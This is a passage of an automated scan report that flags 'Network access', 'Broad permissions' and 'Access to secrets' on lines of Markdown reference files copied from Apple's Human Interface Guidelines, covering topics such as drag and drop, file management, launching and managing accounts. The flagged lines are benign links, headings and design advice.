    ![An illustration of a Notes document with the share sheet open on iPhone, with collaboration options set to indicate that only invited people can edit the selected document.](https://docs-assets.developer.apple.com/published/b30d247d67d1ba
  • Network accessline 31
    ![An illustration of a Notes document with the share sheet open on iPhone, with collaboration options set to indicate that everyone can make changes to the selected document.](https://docs-assets.developer.apple.com/published/2bb4701135ff5c
  • Network accessline 37
    ![An illustration of a Notes document open on iPhone. The document toolbar prominently features the Collaboration button next to the Share button.](https://docs-assets.developer.apple.com/published/22a789e7f8d5b3b6a22b3763b21288bd/collabora
  • Network accessline 41
    ![An illustration of a Notes document on iPhone. A menu is open from the Collaboration button in the document toolbar, with buttons to display the most recent updates and activities.](https://docs-assets.developer.apple.com/published/3ecf0a
  • Network accessline 45
    **Consider posting collaboration event notifications in Messages.** Choose the type of event that occurred — such as a change in the content or the collaboration membership, or the mention of a participant — and include a universal link peo
  • Network accessline 47
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Platform-considerations)
  • Network accessline 51
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#visionOS)
  • Network accessline 53
    By default, the system supports screen sharing for an app running in the Shared Space by streaming the current window to other collaborators. If one person transitions the app to a Full Space while sharing is in progress, the system pauses 
  • Network accessline 55
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#watchOS)
  • Network accessline 57
    In your SwiftUI app running in watchOS, use [`ShareLink`](https://developer.apple.com/documentation/SwiftUI/ShareLink) to present the system-provided share sheet.
  • Network accessline 59
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Resources)
  • Network accessline 61
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Related)
  • Network accessline 63
    [Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views)
  • Network accessline 65
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Developer-documentation)
  • Network accessline 67
    [Shared with You](https://developer.apple.com/documentation/SharedWithYou)
  • Network accessline 69
    [`ShareLink`](https://developer.apple.com/documentation/SwiftUI/ShareLink) — SwiftUI
  • Network accessline 71
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Videos)
  • Network accessline 73
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/74342B30-92E9-48F3-B0F2-6E42C8FD9391/6506_wide_250x141_1x.jpg) Design for Collaboration with Messages ](https://developer.apple.com/videos/play/wwdc2022/10015)
  • Network accessline 75
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/9785075B-13E9-4631-AD74-77B814019BF4/6589_wide_250x141_1x.jpg) Enhance collaboration experiences with Messages ](https://developer.apple.com/videos/play/wwdc2022/10095)
  • Network accessline 77
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/39FE3E81-AB11-4FEE-AE05-37951E2ADB12/6587_wide_250x141_1x.jpg) Integrate your custom collaboration app with Messages ](https://developer.apple.com/videos/play/wwdc2022/10093)
  • Network accessline 79
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/collaboration-and-sharing#Change-log)

skills/hig-patterns/references/drag-and-drop.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Drag and drop | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/drag-and-drop
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/drag-and-drop
  • Network accessline 9
    ![A sketch of two overlapping squares containing an arrow pointing to the upper-left, suggesting a transition to a new destination. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the or
  • Network accessline 28
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Best-practices)
  • Network accessline 32
    **Offer alternative ways to accomplish drag-and-drop actions.** Sometimes, drag-and-drop operations are inconvenient or impossible for people to perform, so it’s important to provide other ways to do the same things. For example, you can in
  • Network accessline 44
    ## [Providing feedback](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Providing-feedback)
  • Network accessline 56
    ## [Accepting drops](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Accepting-drops)
  • Network accessline 74
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Platform-considerations)
  • Network accessline 78
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#iOS-iPadOS)
  • Network accessline 82
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#macOS)
  • Network accessline 92
    **Consider changing the pointer appearance to indicate what will happen when people drop content.** In addition to using the _copy_ pointer, you might want to use the _drag link_ , _disappearing item_ , and _operation not allowed_ pointers,
  • Network accessline 96
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#visionOS)
  • Network accessline 98
    **When possible, launch your app to handle content that people drop into empty space.** When you associate a user activity with draggable app content, your app can open a window or scene that handles the content when people drop it. For exa
  • Network accessline 106
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Resources)
  • Network accessline 108
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Related)
  • Network accessline 110
    [Universal Control](https://support.apple.com/en-us/HT212757)
  • Network accessline 112
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Developer-documentation)
  • Network accessline 114
    [Drag and drop](https://developer.apple.com/documentation/UIKit/drag-and-drop) — UIKit
  • Network accessline 116
    [Drag and Drop](https://developer.apple.com/documentation/AppKit/drag-and-drop) — AppKit
  • Network accessline 118
    [File Provider](https://developer.apple.com/documentation/FileProvider)
  • Network accessline 120
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Videos)
  • Network accessline 122
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/9CCE8A5D-A751-441C-B88F-FB91E2D1958E/4949_wide_250x141_1x.jpg) What's new in UIKit ](https://developer.apple.com/videos/play/wwdc2021/10059)
  • Network accessline 124
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/F93E642C-EBBD-479E-AC7F-F801103EF53F/5227_wide_250x141_1x.jpg) SwiftUI on the Mac: The finishing touches ](https://developer.apple.com/videos/play/wwdc2021/10289)
  • Network accessline 126
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/5C8F0205-3AE9-4647-870B-5C10FB7EA6FF/3520_wide_250x141_1x.jpg) Designed for iPad ](https://developer.apple.com/videos/play/wwdc2020/10206)
  • Network accessline 128
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop#Change-log)

skills/hig-patterns/references/entering-data.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Entering data | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/entering-data
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/entering-data
  • Network accessline 9
    ![A sketch of a pencil writing within a field, suggesting data entry. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-asset
  • Network accessline 20
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/entering-data#Best-practices)
  • Network accessline 26
    **Use a secure text-entry field when appropriate.** If your app or game needs sensitive data, use a field that obscures people’s input as they enter it, typically by displaying a small filled circle symbol for each character. For developer 
  • Network accessline 28
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 38
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/entering-data#Platform-considerations)
  • Network accessline 42
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/entering-data#macOS)
  • Network accessline 44
    **Consider using an expansion tooltip to show the full version of clipped or truncated text in a field.** An _expansion tooltip_ behaves like a regular tooltip, appearing when the pointer rests on top of a field. Apps running in macOS — inc
  • Network accessline 46
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/entering-data#Resources)
  • Network accessline 48
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/entering-data#Related)
  • Network accessline 50
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 52
    [Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards)
  • Network accessline 54
    [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards)
  • Network accessline 56
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/entering-data#Developer-documentation)
  • Network accessline 58
    [Input events](https://developer.apple.com/documentation/SwiftUI/Input-events) — SwiftUI
  • Network accessline 60
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/entering-data#Videos)
  • Network accessline 62
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/9CCE8A5D-A751-441C-B88F-FB91E2D1958E/4949_wide_250x141_1x.jpg) What's new in UIKit ](https://developer.apple.com/videos/play/wwdc2021/10059)
  • Network accessline 64
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/entering-data#Change-log)

skills/hig-patterns/references/feedback.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Feedback | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/feedback
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/feedback
  • Network accessline 9
    ![A sketch of a pointer surrounded by a circular set of short lines, suggesting a response to a mouse click. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original si
  • Network accessline 26
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/feedback#Best-practices)
  • Network accessline 28
    **Make sure all feedback is accessible.** When you use multiple ways to provide feedback, you reach more people and give them the opportunity to receive the feedback in ways that work for them. For example, when you provide feedback using c
  • Network accessline 32
    **Use alerts to deliver critical — and ideally actionable — information.** By design, alerts disrupt the current context, so you need to match the importance of the information to the level of interruption. Alerts can lose their impact if y
  • Network accessline 40
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/feedback#Platform-considerations)
  • Network accessline 44
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/feedback#watchOS)
  • Network accessline 48
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/feedback#Resources)
  • Network accessline 50
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/feedback#Related)
  • Network accessline 52
    [Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio)
  • Network accessline 54
    [Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics)
  • Network accessline 56
    [Motion](https://developer.apple.com/design/human-interface-guidelines/motion)
  • Network accessline 58
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/feedback#Developer-documentation)
  • Network accessline 60
    [Animation and haptics](https://developer.apple.com/documentation/UIKit/animation-and-haptics) — UIKit
  • Network accessline 62
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/feedback#Videos)
  • Network accessline 64
    [![](https://devimages-cdn.apple.com/wwdc-services/images/42/E55D60D2-C7D7-4F96-9A9D-8AF4C7D6BB49/2247_wide_250x141_1x.jpg) Designing Fluid Interfaces ](https://developer.apple.com/videos/play/wwdc2018/803)
  • Network accessline 66
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/2546ECBD-6443-41EC-921D-6429026F8B67/1700_wide_250x141_1x.jpg) Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802)

skills/hig-patterns/references/file-management.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "File management | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/file-management
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/file-management
  • Network accessline 9
    ![A sketch of a document with the upper right corner folded in, suggesting interaction with files. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Ap
  • Network accessline 15
    ## [Creating and opening files](https://developer.apple.com/design/human-interface-guidelines/file-management#Creating-and-opening-files)
  • Network accessline 17
    **Use app menus and keyboard shortcuts to give people convenient ways to create and open documents.** In iPadOS and macOS, people expect to create new documents or open existing ones using familiar menu commands. When you provide commands l
  • Network accessline 21
    ## [Saving work](https://developer.apple.com/design/human-interface-guidelines/file-management#Saving-work)
  • Network accessline 27
    ## [Quick Look previews](https://developer.apple.com/design/human-interface-guidelines/file-management#Quick-Look-previews)
  • Network accessline 35
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/file-management#Platform-considerations)
  • Network accessline 39
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/file-management#iOS-iPadOS)
  • Network accessline 41
    #### [Document launcher](https://developer.apple.com/design/human-interface-guidelines/file-management#Document-launcher)
  • Network accessline 43
    Starting in iOS 18 and iPadOS 18, document-based apps can use the system’s document launcher to give people a consistent, highly graphical way to browse, open, and create files. The document launcher presents a full-screen experience that h
  • Network accessline 58
    ![A screenshot of a writing app's document launcher on iPad in landscape orientation. The document launcher displays a custom background and two accessory images. At the bottom, the file browser sheet provides 3 tabs: Recents, Shared, and B
  • Network accessline 66
    **Use animation sparingly.** Too much motion on the display can confuse or disorient people. If you want to animate your accessories, consider creating gentle, repeating animations that subtly highlight and enhance your app’s content. For e
  • Network accessline 68
    #### [File provider app extension](https://developer.apple.com/design/human-interface-guidelines/file-management#File-provider-app-extension)
  • Network accessline 70
    If your app can share its files with other apps, you can create a file provider app extension that displays a custom interface for importing, exporting, opening, and moving your app’s documents. For developer guidance, see [File Provider](h
  • Network accessline 78
    Your app can also let people browse and open files from other apps. For developer guidance, see [Adding a document browser to your app](https://developer.apple.com/documentation/UIKit/adding-a-document-browser-to-your-app).
  • Network accessline 80
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/file-management#macOS)
  • Network accessline 82
    #### [Custom file management](https://developer.apple.com/design/human-interface-guidelines/file-management#Custom-file-management)
  • Network accessline 92
    #### [Finder Sync extensions](https://developer.apple.com/design/human-interface-guidelines/file-management#Finder-Sync-extensions)
  • Network accessline 94
    If your app syncs local and remote files, you can create a Finder Sync app extension to express file synchronization status and control within the Finder. For developer guidance, see [Finder Sync](https://developer.apple.com/documentation/F
  • Network accessline 111
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/file-management#Resources)
  • Network accessline 113
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/file-management#Related)
  • Network accessline 115
    [Toolbars](https://developer.apple.com/design/human-interface-guidelines/toolbars)
  • Network accessline 117
    [File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu)
  • Network accessline 119
    [Printing](https://developer.apple.com/design/human-interface-guidelines/printing)
  • Network accessline 121
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/file-management#Developer-documentation)
  • Network accessline 123
    [Documents](https://developer.apple.com/documentation/SwiftUI/Documents) — SwiftUI
  • Network accessline 125
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/file-management#Videos)
  • Network accessline 127
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/68960E87-E488-40C3-90E3-A820B5119FF0/3727_wide_250x141_1x.jpg) Build document-based apps in SwiftUI ](https://developer.apple.com/videos/play/wwdc2020/10039)
  • Network accessline 129
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/file-management#Change-log)

skills/hig-patterns/references/going-full-screen.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Going full screen | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/going-full-screen
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/going-full-screen
  • Network accessline 9
    ![A sketch of two outward-pointing arrows arranged in a vertical line extending from the upper-left to the bottom-right, suggesting expansion. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly ref
  • Network accessline 11
    Apple TV and Apple Watch don’t offer full-screen modes because apps and games already fill the screen by default. Apple Vision Pro doesn’t offer a full-screen mode because people can expand a window to fill more of their view or use the Dig
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Best-practices)
  • Network accessline 21
    **Except in games, let people reveal the Dock while your iPadOS or macOS app is in full-screen mode.** In iPadOS and macOS, it’s important to preserve access to the Dock so people can quickly open other apps and Dock items. To help prevent 
  • Network accessline 27
    **Prioritize content by temporarily hiding toolbars and navigation controls.** You can offer a distraction-free environment by hiding elements when content is the primary focus, such as when viewing full-screen photos or reading a document.
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Platform-considerations)
  • Network accessline 33
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#iOS-iPadOS)
  • Network accessline 35
    **Consider deferring system gestures to prevent accidental exits in a full-screen app or game.** By default, the Home Screen indicator automatically hides shortly after someone switches to your app or game. It reappears when someone interac
  • Network accessline 37
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#macOS)
  • Network accessline 39
    **Use the system-provided full-screen experience.** Using the system’s full-screen support ensures that your full-screen window works well in all contexts. For example, some Mac models include a camera housing that occupies an area at the t
  • Network accessline 43
    For additional developer guidance, see [Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos).
  • Network accessline 45
    **Always let people choose when to enter full-screen mode.** Prefer letting people use your window’s Enter Full Screen button, View menu item, or the Control-Command-F keyboard shortcut. Avoid offering a custom menu of window modes. In a ga
  • Network accessline 47
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Resources)
  • Network accessline 49
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Related)
  • Network accessline 51
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 53
    [Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking)
  • Network accessline 55
    [Windows](https://developer.apple.com/design/human-interface-guidelines/windows)
  • Network accessline 57
    [The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar)
  • Network accessline 59
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Developer-documentation)
  • Network accessline 61
    [`fullScreenCover(item:onDismiss:content:)`](https://developer.apple.com/documentation/SwiftUI/View/fullScreenCover\(item:onDismiss:content:\)) — SwiftUI
  • Network accessline 63
    [`NSScreen`](https://developer.apple.com/documentation/AppKit/NSScreen) — AppKit
  • Network accessline 65
    [`NSWindow.CollectionBehavior`](https://developer.apple.com/documentation/AppKit/NSWindow/CollectionBehavior-swift.struct) — AppKit
  • Network accessline 67
    [Managing your game window for Metal in macOS](https://developer.apple.com/documentation/Metal/managing-your-game-window-for-metal-in-macos) — Swift, Objective-C
  • Network accessline 69
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Videos)
  • Network accessline 71
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/873F40BE-101A-4C0D-99F0-F5C7CE7B47A3/10046_wide_250x141_1x.jpg) Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd
  • Network accessline 73
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/going-full-screen#Change-log)

skills/hig-patterns/references/launching.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Launching | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/launching
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/launching
  • Network accessline 9
    ![A sketch of a square containing an arrow pointing to the upper-right corner, suggesting a transition to a new state. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the o
  • Network accessline 11
    Launching begins when someone opens your app or game, includes an initial download, and ends when the first screen is ready. After launching completes, you might offer an [onboarding](https://developer.apple.com/design/human-interface-guide
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/launching#Best-practices)
  • Network accessline 17
    **If the platform requires it, provide a launch screen.** In iOS, iPadOS, and tvOS, the system displays your launch screen the moment your app or game starts and quickly replaces it with your first screen, giving people the impression that 
  • Network accessline 23
    ## [Launch screens](https://developer.apple.com/design/human-interface-guidelines/launching#Launch-screens)
  • Network accessline 35
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/launching#Platform-considerations)
  • Network accessline 39
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/launching#iOS-iPadOS)
  • Network accessline 41
    **Launch in the appropriate orientation.** If your app or game supports both portrait and landscape modes, launch using the device’s current orientation. If your interface only runs in one orientation, launch in that orientation and let peo
  • Network accessline 43
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/launching#tvOS)
  • Network accessline 47
    Unlike the [layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images) throughout much of a tvOS app, the launch screen is static.
  • Network accessline 49
    **In a live-viewing app, consider automatically starting playback soon after people start the app.** People come to your app to watch TV, so you might want to start playing new or recently viewed live content after a few seconds of inactivi
  • Network accessline 51
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/launching#visionOS)
  • Network accessline 53
    **Consider launching in the Shared Space even if your app is fully immersive.** Opening a window in the Shared Space lets you provide more context about your app or game while giving it time to load, and it also lets you present a control t
  • Network accessline 55
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/launching#Resources)
  • Network accessline 57
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/launching#Related)
  • Network accessline 59
    [Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding)
  • Network accessline 61
    [Loading](https://developer.apple.com/design/human-interface-guidelines/loading)
  • Network accessline 63
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/launching#Developer-documentation)
  • Network accessline 65
    [Specifying your app’s launch screen](https://developer.apple.com/documentation/Xcode/specifying-your-apps-launch-screen) — Xcode
  • Network accessline 67
    [Responding to the launch of your app](https://developer.apple.com/documentation/UIKit/responding-to-the-launch-of-your-app) — UIKit
  • Network accessline 69
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/launching#Videos)
  • Network accessline 71
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/38776A03-1056-4A47-9AB0-E4A8652AD5C4/2662_wide_250x141_1x.jpg) Optimizing App Launch ](https://developer.apple.com/videos/play/wwdc2019/423)
  • Network accessline 73
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/2C48F507-180B-4858-BB26-488C234B067F/1920_wide_250x141_1x.jpg) Love at First Launch ](https://developer.apple.com/videos/play/wwdc2017/816)
  • Network accessline 75
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/launching#Change-log)

skills/hig-patterns/references/live-viewing-apps.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Live-viewing apps | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps
  • Network accessline 9
    ![A sketch of a television containing a play button, suggesting playback of media. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Best-practices)
  • Network accessline 31
    * Match the categories in the content footer to those in your electronic program guide (for related guidance, see [EPG experience](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#EPG-experience)).
  • Network accessline 42
    ## [EPG experience](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#EPG-experience)
  • Network accessline 54
    ## [Cloud DVR](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Cloud-DVR)
  • Network accessline 68
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Platform-considerations)
  • Network accessline 72
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Resources)
  • Network accessline 74
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/live-viewing-apps#Related)
  • Network accessline 76
    [Remotes](https://developer.apple.com/design/human-interface-guidelines/remotes)
  • Network accessline 78
    [Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video)

skills/hig-patterns/references/loading.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Loading | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/loading
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/loading
  • Network accessline 9
    ![A sketch of a spinning indeterminate activity indicator, suggesting data loading. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](http
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/loading#Best-practices)
  • Network accessline 17
    **Let people do other things in your app or game while they wait for content to load.** Loading content in the background helps give people access to other actions. For example, a game could load content in the background while players lear
  • Network accessline 21
    **Improve installation and launch time by downloading large assets in the background.** Consider using the [Background Assets](https://developer.apple.com/documentation/BackgroundAssets) framework to schedule asset downloads — like game lev
  • Network accessline 23
    ## [Showing progress](https://developer.apple.com/design/human-interface-guidelines/loading#Showing-progress)
  • Network accessline 25
    **Clearly communicate that content is loading and how long it might take to complete.** Ideally, content displays instantly, but for situations where loading takes more than a moment or two, you can use system-provided components — called _
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/loading#Platform-considerations)
  • Network accessline 33
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/loading#watchOS)
  • Network accessline 37
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/loading#Resources)
  • Network accessline 39
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/loading#Related)
  • Network accessline 41
    [Launching](https://developer.apple.com/design/human-interface-guidelines/launching)
  • Network accessline 43
    [Progress indicators](https://developer.apple.com/design/human-interface-guidelines/progress-indicators)
  • Network accessline 45
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/loading#Developer-documentation)
  • Network accessline 47
    [Background Assets](https://developer.apple.com/documentation/BackgroundAssets)
  • Network accessline 49
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/loading#Videos)
  • Network accessline 51
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/A51258F3-769A-4301-BE75-0DDE23322569/9860_wide_250x141_1x.jpg) Discover Apple-Hosted Background Assets ](https://developer.apple.com/videos/play/
  • Network accessline 53
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/loading#Change-log)

skills/hig-patterns/references/managing-accounts.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Managing accounts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/managing-accounts
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/managing-accounts
  • Network accessline 9
    ![A sketch of a person, suggesting personal information. The image is overlaid with rectangular and circular grid lines and is tinted orange to subtly reflect the orange in the original six-color Apple logo.](https://docs-assets.developer.a
  • Network accessline 11
    Ask people to create an account only if your core functionality requires it; otherwise, let people enjoy your app or game without one. If you require an account, consider using [Sign in with Apple](https://developer.apple.com/design/human-i
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Best-practices)
  • Network accessline 19
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 23
    **Refer only to authentication methods that are available in the current context.** For example, don’t reference Face ID on a device that doesn’t offer it. Check the device’s capabilities and use the appropriate terminology. For developer g
  • Network accessline 29
    ## [Deleting accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Deleting-accounts)
  • Network accessline 41
    If people used [Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple) to create an account within your app, you revoke the associated tokens when they delete their account. See [`Token revocat
  • Network accessline 58
    In addition to helping people understand these scenarios, provide information that describes how to cancel subscriptions and manage purchases. For guidance, see [Helping people manage their subscriptions](https://developer.apple.com/design/
  • Network accessline 64
    ## [TV provider accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#TV-provider-accounts)
  • Network accessline 72
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Platform-considerations)
  • Network accessline 76
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#tvOS)
  • Network accessline 80
    **Prefer letting people use another device to sign up or authenticate.** When you configure your app’s associated domains, Apple TV can work with other devices to safely suggest sign-in credentials, including [Sign in with Apple](https://de
  • Network accessline 82
    **When people are signed in to a shared account, avoid asking them to choose their profile every time they become the current user.** In tvOS 16 and later, your app can share its credentials with all users while storing each individual’s pr
  • Network accessline 86
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#watchOS)
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 90
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Resources)
  • Network accessline 92
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Related)
  • Network accessline 94
    [Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding)
  • Network accessline 96
    [Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple)
  • Network accessline 98
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Developer-documentation)
  • Network accessline 100
    [Supporting passkeys](https://developer.apple.com/documentation/AuthenticationServices/supporting-passkeys) — Authentication Services
  • Network accessline 102
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#Videos)
  • Network accessline 104
